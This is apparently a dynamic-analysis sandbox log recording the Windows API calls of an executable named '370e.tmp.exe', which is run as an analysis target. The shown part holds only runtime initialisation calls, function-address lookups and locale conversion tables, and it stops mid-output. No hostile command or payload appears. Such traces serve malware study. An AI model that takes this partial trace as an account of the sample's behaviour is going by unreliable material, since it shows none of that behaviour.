# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jun 6 2019 12:21:16 # Log Creation Date: 24.06.2019 17:39:08.999 Process: id = "1" image_name = "370e.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\370e.tmp.exe" page_root = "0x4dac0000" os_pid = "0x414" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x618 [0026.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xc94979f0, dwHighDateTime=0x1d52ab3)) [0026.799] GetCurrentThreadId () returned 0x618 [0026.799] GetCurrentProcessId () returned 0x414 [0026.799] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=14709566272) returned 1 [0026.831] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0026.831] GetProcessHeap () returned 0x260000 [0026.832] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0026.832] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0026.832] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0026.832] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0026.832] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0026.832] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0026.833] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0026.834] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0026.835] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3bc) returned 0x271c60 [0026.835] GetCurrentThreadId () returned 0x618 [0026.835] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x18) returned 0x270768 [0026.835] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x800) returned 0x272028 [0026.835] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40c79e, hStdOutput=0xa45e7ab0, hStdError=0x0)) [0026.835] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0026.835] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0026.835] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0026.835] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" " [0026.835] GetEnvironmentStringsW () returned 0x272830* [0026.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0026.835] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x565) returned 0x273308 [0026.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x273308, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0026.835] FreeEnvironmentStringsW (penv=0x272830) returned 1 [0026.835] GetLastError () returned 0x7f [0026.836] SetLastError (dwErrCode=0x7f) [0026.836] GetLastError () returned 0x7f [0026.836] SetLastError (dwErrCode=0x7f) [0026.836] GetLastError () returned 0x7f [0026.836] SetLastError (dwErrCode=0x7f) [0026.836] GetACP () returned 0x4e4 [0026.836] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x220) returned 0x273878 [0026.836] GetLastError () returned 0x7f [0026.836] SetLastError (dwErrCode=0x7f) [0026.836] IsValidCodePage (CodePage=0x4e4) returned 1 [0026.836] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0026.836] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0026.836] GetLastError () returned 0x7f [0026.836] SetLastError (dwErrCode=0x7f) [0026.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0026.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0026.836] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0026.836] GetLastError () returned 0x7f [0026.836] SetLastError (dwErrCode=0x7f) [0026.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0026.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0026.836] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0026.837] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0026.837] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x30\x7b\x5e\xa4\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0026.837] GetLastError () returned 0x7f [0026.837] SetLastError (dwErrCode=0x7f) [0026.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0026.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0026.837] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0026.837] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0026.837] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x7